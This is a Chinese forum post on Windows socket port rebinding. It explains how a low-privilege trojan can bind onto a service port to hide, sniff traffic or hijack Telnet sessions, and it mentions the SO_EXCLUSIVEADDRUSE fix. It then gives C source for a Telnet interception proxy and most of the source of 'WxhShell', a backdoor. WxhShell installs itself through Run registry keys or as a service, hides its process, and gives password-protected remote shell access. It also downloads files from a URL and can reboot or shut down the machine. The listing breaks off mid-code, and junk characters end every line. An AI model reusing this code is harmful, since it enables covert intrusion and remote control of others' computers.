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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L.a~vk 1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l_2YPon  
n>%TIoY  
  saddr.sin_family = AF_INET; eT8h:+k  
,qhv(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aIN?|Ch  
/ZSdY_%s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u#Uc6? E  
\BSPv]d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~s[Yu!(  
u_$Spbc]/  
  这意味着什么?意味着可以进行如下的攻击: >k u7{1)  
IZ]L.0,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $U%N$_k?  
.r@'9W^8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fXkemB^)_  
GU)NZ[e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q\$cBSJC1  
"C+Fl /v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,E4qxZC(X  
Uq2Qh@B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &MP8.( u `  
~I%JVX%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P"c7h7  
JI92Dc*o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 McU]U 9:z  
8V:yOq10  
  #include 0y#TGM|0D  
  #include f=40_5a6  
  #include J_XbtCmt  
  #include    f&Meiu+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f/=H#'+8  
  int main() ;[-y>qU0  
  { N,`<:'  
  WORD wVersionRequested; k12mxR/  
  DWORD ret; 65pC#$F<x  
  WSADATA wsaData; 1 BVpv7@  
  BOOL val; T<ekDhlr  
  SOCKADDR_IN saddr; v>mr  
  SOCKADDR_IN scaddr; I4 4bm?[S  
  int err; Ea3 4x  
  SOCKET s; U^$l$"~"  
  SOCKET sc; LpSd/_^b  
  int caddsize; %:.00F([r  
  HANDLE mt; a7l-kG=R;  
  DWORD tid;   +JL"Z4b@R}  
  wVersionRequested = MAKEWORD( 2, 2 ); p:^;A/D  
  err = WSAStartup( wVersionRequested, &wsaData ); O7T wM Yh  
  if ( err != 0 ) { &k {1N.  
  printf("error!WSAStartup failed!\n"); Yy8%vDdJO  
  return -1; jQ Of+ZE  
  } w1|YR  
  saddr.sin_family = AF_INET; KP!ctlP~  
   3`m n#RM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9Vv&\m!0  
q oVp@=\:"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |70L h+  
  saddr.sin_port = htons(23); ?QCHkhU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y<-dd"\  
  { i6h , Aw3  
  printf("error!socket failed!\n"); ||k^pzj%  
  return -1; ]#x? [ F  
  } B (dq$+4  
  val = TRUE; *Z"(K\1TH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |Xl,~-.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4*9:  
  { 1PJ8O|Z t8  
  printf("error!setsockopt failed!\n"); d/:zO4v3  
  return -1; Wtwh.\Jba  
  } ws$!-t4<(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t6O/Q0_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AW:WDNQh8n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mEe JK3D[  
R%N&Y~zH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d.uJ}=|  
  { O hcPlr  
  ret=GetLastError(); geu8$^  
  printf("error!bind failed!\n"); z,B'I.)M  
  return -1; pjX')i<  
  } 3?GEXO&,E  
  listen(s,2); -kd_gbnr3  
  while(1) p<3^= 8Y$  
  { Awad!_VdHS  
  caddsize = sizeof(scaddr); /Hl]$sJY  
  //接受连接请求 _S;L| 1>S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )/F1,&/N`e  
  if(sc!=INVALID_SOCKET) @cZNoD  
  { Yxt`Uvc(^h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YQ}bG{V  
  if(mt==NULL) Iz\IQa  
  { PO[ AP%;  
  printf("Thread Creat Failed!\n"); M[R\URu8  
  break; !fcr3x|Y~M  
  } %Ot^G%34  
  } @OlV6M;qJ  
  CloseHandle(mt); w%[ `'_[  
  } qwU,D6  
  closesocket(s); q E`  
  WSACleanup(); VL/%D*  
  return 0; j6KGri  
  }   fN TPW]  
  DWORD WINAPI ClientThread(LPVOID lpParam) #Xc6bA&  
  { T)ra>r<#  
  SOCKET ss = (SOCKET)lpParam; T.zU erbO  
  SOCKET sc;  %Ln7{w  
  unsigned char buf[4096]; Y|=/*?o}  
  SOCKADDR_IN saddr; F? kW{,*  
  long num; |8b*BnS  
  DWORD val; e8@@Pi<sB  
  DWORD ret; h@"dpmpe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6* /o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H`$s63  
  saddr.sin_family = AF_INET; Ii,Lj1Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z`5v6"Na  
  saddr.sin_port = htons(23); ;m3SlP{F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y.qlY3iBp  
  { +_ HPZo  
  printf("error!socket failed!\n"); zF2GW  
  return -1; A({8p  
  } ruLi "d  
  val = 100; KF|<A@V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]3C&l+m$ot  
  { X'Dg= |  
  ret = GetLastError(); EF?@f{YY$n  
  return -1; EwcN$Ma  
  } 4w:_4qyb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UJ_E&7,L  
  { HKk;oG  
  ret = GetLastError(); dD3I.?DY  
  return -1; Y zXL8  
  } [}|-% 4s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sV/#P<9  
  { 42?X)n>  
  printf("error!socket connect failed!\n"); Pgs^#(^>  
  closesocket(sc); O>z M(I+p  
  closesocket(ss); wY2#xD  
  return -1; WVp7H  
  } dIG(7 ~  
  while(1) \w!G  
  { ki#O ^vl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gg(^:`+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w<<G}4~u|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /s>ZT8vaAs  
  num = recv(ss,buf,4096,0); sY=fS2b#)  
  if(num>0) _'k?9eN`  
  send(sc,buf,num,0); =~% B}T  
  else if(num==0) 7CzZHkTg  
  break; h5G>FPM-=  
  num = recv(sc,buf,4096,0); SxYX`NQ  
  if(num>0) `J^J_s  
  send(ss,buf,num,0); 9KVeFl  
  else if(num==0) =j 6amk-  
  break; AAkdwo  
  } ,>n 4 `A  
  closesocket(ss); 9N|O*h1;u  
  closesocket(sc); Dcq\1V.e`W  
  return 0 ; iKa}@U  
  } &3mseU  
jYet!l  
l tr =_  
========================================================== !JjB,1  
0s:MEX6w|  
下边附上一个代码,,WXhSHELL dZm>LVjG  
nJny9g  
========================================================== HHD4#XcU  
'+NmHu:q  
#include "stdafx.h" v9Oyboh(y  
4^VY  
#include <stdio.h> F8?&Ql/hdz  
#include <string.h> gEtD qq~y@  
#include <windows.h> "xlf6pm%  
#include <winsock2.h> lNQt  
#include <winsvc.h> Z.$ncP0s  
#include <urlmon.h> 34 W#  
2i#wJ8vrF  
#pragma comment (lib, "Ws2_32.lib") }`4o+  
#pragma comment (lib, "urlmon.lib") o|Obl@CSBD  
mCe,(/>l+  
#define MAX_USER   100 // 最大客户端连接数 v8,+|+3  
#define BUF_SOCK   200 // sock buffer *KF:  
#define KEY_BUFF   255 // 输入 buffer oYnA 3  
_/ZIDIn  
#define REBOOT     0   // 重启 d:O>--$_tw  
#define SHUTDOWN   1   // 关机 ^q@.yL  
ZVJbpn<lo)  
#define DEF_PORT   5000 // 监听端口 /] ce?PPC  
_CP e  
#define REG_LEN     16   // 注册表键长度 "-kb=fY  
#define SVC_LEN     80   // NT服务名长度  Z $Ynar  
Y4}!9x  
// 从dll定义API D{h1"q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T{bM/?g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;Yyg(Ex  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rk56H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;Aiuy{<  
|x 2>F  
// wxhshell配置信息 Mi9A%ZmP  
struct WSCFG { Q2PY( #  
  int ws_port;         // 监听端口 H^p ?t=Y  
  char ws_passstr[REG_LEN]; // 口令 F'W{\4  
  int ws_autoins;       // 安装标记, 1=yes 0=no QP)-O*+AA  
  char ws_regname[REG_LEN]; // 注册表键名 ',`iQt!Lx  
  char ws_svcname[REG_LEN]; // 服务名 1b E$x^P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z:09 ]r1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XQ--8G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PkQuN;a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9zEO$<e o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s"p}>BjMIC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7NRq5d(lP  
_(3VzI'G  
}; LC K   
'O8"M  
// default Wxhshell configuration -]R7[5C:  
struct WSCFG wscfg={DEF_PORT, RS#)uC5/%  
    "xuhuanlingzhe", :^71,An >E  
    1, *f$mSI=  
    "Wxhshell", f GE+DjeA  
    "Wxhshell", Y.3]vno?X  
            "WxhShell Service", ~!&WK,k6  
    "Wrsky Windows CmdShell Service", ]]Ypi=<'  
    "Please Input Your Password: ", aG8}R~wH&  
  1, 3Tg  
  "http://www.wrsky.com/wxhshell.exe", wt[MzpRP  
  "Wxhshell.exe" %F9% t  
    }; zFqH)/  
&4sUi K"  
// 消息定义模块 ej47'#EY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +,9I3Dq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xvQJTR k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3_B .W  
char *msg_ws_ext="\n\rExit."; n`? j. s  
char *msg_ws_end="\n\rQuit."; sAfSI<L_  
char *msg_ws_boot="\n\rReboot..."; <w(UDZ  
char *msg_ws_poff="\n\rShutdown..."; ;#P@(ZVT  
char *msg_ws_down="\n\rSave to "; "X g@X5BG  
J2Ocf&y;  
char *msg_ws_err="\n\rErr!"; Hu|NS{Ke-  
char *msg_ws_ok="\n\rOK!"; R{\vOw:*  
C;}~C:aJ  
char ExeFile[MAX_PATH]; !`hjvJryw  
int nUser = 0; 6BRQX\  
HANDLE handles[MAX_USER]; 1bF aQ50t  
int OsIsNt; ]T}G-  
s\1h=V)!H  
SERVICE_STATUS       serviceStatus; q-eC=!#}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &OK(6o2m;  
= \AI92  
// 函数声明 G$}\~dD  
int Install(void); $`.7XD}  
int Uninstall(void); ] NL-)8u  
int DownloadFile(char *sURL, SOCKET wsh); R5NDT4QYU  
int Boot(int flag); 9e^[5D=L  
void HideProc(void); IUAx*R  
int GetOsVer(void); 3bu VU& ap  
int Wxhshell(SOCKET wsl); $FZ~]Ef  
void TalkWithClient(void *cs); }L>}_NV\  
int CmdShell(SOCKET sock); @X?DHLM  
int StartFromService(void); OGh9^,v  
int StartWxhshell(LPSTR lpCmdLine); eZIqyw  
3h aYb`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W~aVwO'(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^]( sCE7  
Zk__CgS#  
// 数据结构和表定义 /T]2ZX>  
SERVICE_TABLE_ENTRY DispatchTable[] = H ifKa/}P8  
{ qxf!]jm  
{wscfg.ws_svcname, NTServiceMain}, EeG7 %S 5(  
{NULL, NULL} & V^ Z  
}; H)}>&Z4  
Ij` %'/J  
// 自我安装 rE;*MqYt&  
int Install(void) yhJH3<  
{ " JFx  
  char svExeFile[MAX_PATH]; %/"I.\%d  
  HKEY key; 9cp-Rw<tI  
  strcpy(svExeFile,ExeFile); Urj8v2k  
Xt^ldW  
// 如果是win9x系统,修改注册表设为自启动 c [sydl  
if(!OsIsNt) { U BzX%:A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z,)4(#b =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !?Gt5$f  
  RegCloseKey(key); ?OW 4J0B'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \,ARYwd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i#Io;  
  RegCloseKey(key); m~'!  
  return 0; Yrs7F.Y"  
    } aY}:9qBice  
  } )=;GQ*<8Zs  
} Wf/r@/ q  
else { f_Ma~'3   
dKTyh:_{  
// 如果是NT以上系统,安装为系统服务 3p6QJuSB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :m]~o3KRy  
if (schSCManager!=0) f6vhW66:?x  
{ njtz,qt_;G  
  SC_HANDLE schService = CreateService "XlNKBgM  
  ( 6=U81  
  schSCManager, DDQ}&`s  
  wscfg.ws_svcname, JFH3)Q  
  wscfg.ws_svcdisp, C-E~z{  
  SERVICE_ALL_ACCESS, )' +" y~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 83K)j"!<X  
  SERVICE_AUTO_START, [Gop-Vi/~  
  SERVICE_ERROR_NORMAL, 0uV3J  
  svExeFile, ^ gMoW  
  NULL, #%O|P&rA  
  NULL, z/!LC;(  
  NULL, Z<L}ur  
  NULL, 7/+I"~  
  NULL ;$,=VB:'  
  ); [~*5uSG  
  if (schService!=0) 1AQVj]#S  
  { qmqWMLfC  
  CloseServiceHandle(schService); 5xC4lT/U  
  CloseServiceHandle(schSCManager); s!,m,l[P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CX?q%o2b  
  strcat(svExeFile,wscfg.ws_svcname); 3 9to5 s,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6D|[3rXr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *o.f<OwOz  
  RegCloseKey(key); SQ8xfD*  
  return 0; KBE3q)  
    } g%Bh-O9\  
  } v e($l"T  
  CloseServiceHandle(schSCManager); ${m;x:'  
} `NYu|:JK:  
} (rqc_ZU5  
7OAM  
return 1; 'L?e)u.  
} 0t*e#,y  
|y9(qcKn$  
// 自我卸载 v+Eub;m   
int Uninstall(void) @~k4,dJ  
{ ]l4\Tdz  
  HKEY key; ]H| O  
Ipro6 I  
if(!OsIsNt) { yN[aBYJx,M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [NE|ZL~  
  RegDeleteValue(key,wscfg.ws_regname); A12EUr5$  
  RegCloseKey(key); 5.ibH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,]`|2j  
  RegDeleteValue(key,wscfg.ws_regname); ~_Q~AOFM  
  RegCloseKey(key); b S-o86u  
  return 0; yq.<,b=87  
  } i(T[  
} ;)~}/nR<a  
} r$[`A_  
else { GDF/0-/Z  
Kzwbr?&z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !/nXEjW?  
if (schSCManager!=0) "I)/|x\G*  
{ aVB/Co M9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I3gl+)Q  
  if (schService!=0) $%BI8_  
  { IiU\}<O  
  if(DeleteService(schService)!=0) { lfvt9!SJ+/  
  CloseServiceHandle(schService); +3uPHpMB-  
  CloseServiceHandle(schSCManager); 5{/uHscwLa  
  return 0; &F- \t5X=i  
  } wE[gp+X~  
  CloseServiceHandle(schService); o6tPQ (Vi  
  } \?v?%}x  
  CloseServiceHandle(schSCManager); JBhM*-t(M1  
} GP>\3@>  
} fj|b;8_}l  
=yF]#>Ah  
return 1; 0=0,ix7?#  
} 8)lrQvZ  
apOXcZ   
// 从指定url下载文件 D@2L<!\  
int DownloadFile(char *sURL, SOCKET wsh) ]d67 HOyK  
{ 3Ccy %;  
  HRESULT hr; y'aK92pF:  
char seps[]= "/"; Xh}S_/9}5  
char *token; d-3.7nJ:  
char *file; #x qiGK  
char myURL[MAX_PATH]; {xAd>fGG+y  
char myFILE[MAX_PATH]; Y-UXr8  
 TZ63=m  
strcpy(myURL,sURL); V/3@iOwD  
  token=strtok(myURL,seps); qnCjNN  
  while(token!=NULL) \TZSn1isZX  
  { v,C~5J3h)  
    file=token; +h@.P B^`~  
  token=strtok(NULL,seps); lE gjv,  
  } T|8:_4/l  
QM![tZt%;  
GetCurrentDirectory(MAX_PATH,myFILE); qA;Gl"HF  
strcat(myFILE, "\\"); M^*\ $K%  
strcat(myFILE, file); Y[l<fbh(}  
  send(wsh,myFILE,strlen(myFILE),0); 9: .m]QN  
send(wsh,"...",3,0); Vm8@ LA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NVghkd  
  if(hr==S_OK) s7afj t  
return 0; T/A2Y+@N;  
else "u]&~$  
return 1; #}Yrxf  
m}u)C&2>  
} ~o#mX?'7  
~4pP( JP  
// 系统电源模块 obE8iG@H  
int Boot(int flag) jQxhR  
{ #|4G,!  
  HANDLE hToken; OLPY<ax  
  TOKEN_PRIVILEGES tkp; I?S t}Tl  
iGSA$U P|  
  if(OsIsNt) { J$sBfO D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m";..V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B2oKvgw  
    tkp.PrivilegeCount = 1; &e6UEG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;@T0wd_i|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &&m3E=K!^  
if(flag==REBOOT) { %59uR}\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `vMhrn  
  return 0; ;}iB9 Tl  
} Cdib{y<ji  
else { _XT'h;m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y] c1x=x  
  return 0; t[J=8rhER  
} SOq:!Qt  
  } RYA@{.O  
  else { S\h5 D2G;  
if(flag==REBOOT) { JLnv O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A$r$g\5+  
  return 0; );':aX j  
} =$Mf:F@  
else { 3r, ~-6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %2T i Rb  
  return 0; 7]xDMu'^&f  
} ^l|b>z"0ao  
} MNWI%*0LO  
Nwz?*~1  
return 1; + x=)Kp>  
} *9"x0bth  
t$z[ ja=  
// win9x进程隐藏模块 fE+zA)KX  
void HideProc(void) =K18|Q0m  
{ _yv#v_Z  
q50F!yHC-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nq]6S$3 6  
  if ( hKernel != NULL ) >4jE[$p]"  
  { X8Q'*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A vq+s.h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N o6!gZ1  
    FreeLibrary(hKernel); M&j|5UH%.  
  } Si>38vCJ*  
7bzm5w@v  
return;  >Ua'*  
} 2Qp}f^  
X+aQ 7^"s  
// 获取操作系统版本 iyl i/3|  
int GetOsVer(void) IibrZ/n6  
{ X`KSj N&(  
  OSVERSIONINFO winfo; 3NtUB;!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cx$IWQf2  
  GetVersionEx(&winfo); Dz: +. @k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &)mZ~cPU3  
  return 1; >MHlrSH2  
  else Bi:lC5d5?  
  return 0; din,yHu~  
} ?b,>+v-w::  
&2y4k"B&)  
// 客户端句柄模块 ::oFL#+  
int Wxhshell(SOCKET wsl) A/>Q5)  
{ (QiA5!wg  
  SOCKET wsh; +gX,r$bX  
  struct sockaddr_in client; L'e^D|  
  DWORD myID; &/? Ct!_  
l~rj7f;  
  while(nUser<MAX_USER) }_]AQN$'G  
{ e{5?+6KH  
  int nSize=sizeof(client); _-TplGSO=c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yV!4Im.>  
  if(wsh==INVALID_SOCKET) return 1; Cy]=Y  
js<d"m*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @gD) pH  
if(handles[nUser]==0) {*7MT}{(  
  closesocket(wsh); P35DVKS  
else Dcvul4Q  
  nUser++; tk%f_"}  
  } `FMo; ,j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?8-!hU@QC  
'q-q4 QCB  
  return 0; z l@^[km{  
} z%YNZ ^d  
B$_4 ul\)  
// 关闭 socket ,x8;| o5  
void CloseIt(SOCKET wsh) I9S;t _Z<  
{ OOqT0w N  
closesocket(wsh); il5C9ql$  
nUser--; f+^6.%  
ExitThread(0); m1X7zUCy  
} &u.{]Yjx  
\)6glAtN  
// 客户端请求句柄 x%}D+2ro-t  
void TalkWithClient(void *cs) u#@/^h;  
{ W%!(kN&d  
hpAdoy[  
  SOCKET wsh=(SOCKET)cs; $N=&D_Q  
  char pwd[SVC_LEN]; R |c=I }@F  
  char cmd[KEY_BUFF]; xm{]|~^JG  
char chr[1]; OyZR&,q  
int i,j; JN0h3nZ_  
+ Q-b}  
  while (nUser < MAX_USER) { tK%ie\  
fjRVYOG#  
if(wscfg.ws_passstr) { OUv<a `0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G)Gp}4gV}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _uQ]I^'D  
  //ZeroMemory(pwd,KEY_BUFF); egaX[ j r  
      i=0; =Zq6iMD  
  while(i<SVC_LEN) { JI "/,fK^  
qVn<c,8#  
  // 设置超时 5*YoK)2J  
  fd_set FdRead; |p6d]#z3  
  struct timeval TimeOut; TEC^|U`G  
  FD_ZERO(&FdRead); GJ,&$@8)  
  FD_SET(wsh,&FdRead); 3f7zW3F  
  TimeOut.tv_sec=8; =?RI`}vw_H  
  TimeOut.tv_usec=0; {@InOo!4w]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KZppQ0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?"x4u#x  
C}8#yAS9M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b(*\4n  
  pwd=chr[0]; ic2 D$`M  
  if(chr[0]==0xd || chr[0]==0xa) { u&:N`f  
  pwd=0; = l`)b  
  break; NIV}hf YF  
  } #fuUAbU0X  
  i++; v"G1vSx)BT  
    } y]j.PT`Cw  
YN8x|DLi?  
  // 如果是非法用户,关闭 socket Mn0.! J "  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2)f_L|o,m  
} _?c.m*)A  
VgH O&vU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'c35%? ]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z.\q$U7'9  
;I>nA6A  
while(1) { WX&IQ@  
 T~[:oil  
  ZeroMemory(cmd,KEY_BUFF); hFIh<m=C?Y  
cbJgeif  
      // 自动支持客户端 telnet标准   `|'w]rj:"+  
  j=0; `n PdZ.  
  while(j<KEY_BUFF) { H/D=$)3op  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F!vrvlD`s  
  cmd[j]=chr[0]; j 6qtR$l|  
  if(chr[0]==0xa || chr[0]==0xd) { 7V"?o  
  cmd[j]=0;  +A3/^C0  
  break; $J7V]c*-b  
  } ?2<) Jw  
  j++; h.\I tK{)  
    } $BwWQ?lp  
51k}LH  
  // 下载文件 d0aXA+S%  
  if(strstr(cmd,"http://")) { Qte5E}V`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =g#PP@X]D!  
  if(DownloadFile(cmd,wsh)) hG1$YE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *rq*li;  
  else fCY|iO0.t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |;gx;qp4cN  
  } EG{+Sz  
  else { n`5Nf  
Wmbc `XC  
    switch(cmd[0]) { w  S  
  q<09]i  
  // 帮助 R$:-~<O  
  case '?': { @@ Q4{o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zIc6L3w$  
    break; FQWjL>NB  
  } UFB|IeX?q  
  // 安装 r^,_m,s'<  
  case 'i': { .eJKIck  
    if(Install()) P y'BMk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yhH2b:nY(9  
    else |O8e;v72g^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v^C\ GDH  
    break; ?_]Y8f  
    } q`e0%^U  
  // 卸载 ,+i^]yF3j  
  case 'r': { nDrRK  
    if(Uninstall()) RZz?_1'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Il =6t  
    else A;U c&G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QYA4C1h'  
    break; #(] D]f[@  
    } r]e{~v/  
  // 显示 wxhshell 所在路径 2zj` H9  
  case 'p': { WA n@8!9  
    char svExeFile[MAX_PATH]; |r@;ulO  
    strcpy(svExeFile,"\n\r"); O@$>'Z  
      strcat(svExeFile,ExeFile); 2-F7tcya|  
        send(wsh,svExeFile,strlen(svExeFile),0); fN9{@)2Mz  
    break; U N?tn}`!  
    } nDkG}Jk B!  
  // 重启 48p3m) 5  
  case 'b': { KDN#CU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L4iWR/&  
    if(Boot(REBOOT)) gc4o |x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.z)l$  
    else { B;bP~e>W  
    closesocket(wsh); dz#"9i5b  
    ExitThread(0); oCo~,~kTR  
    } .\ bJ,of9  
    break; dO D(<  
    } z fUDo`V~  
  // 关机 4W>DW`{  
  case 'd': { LsR<r1KDJ  
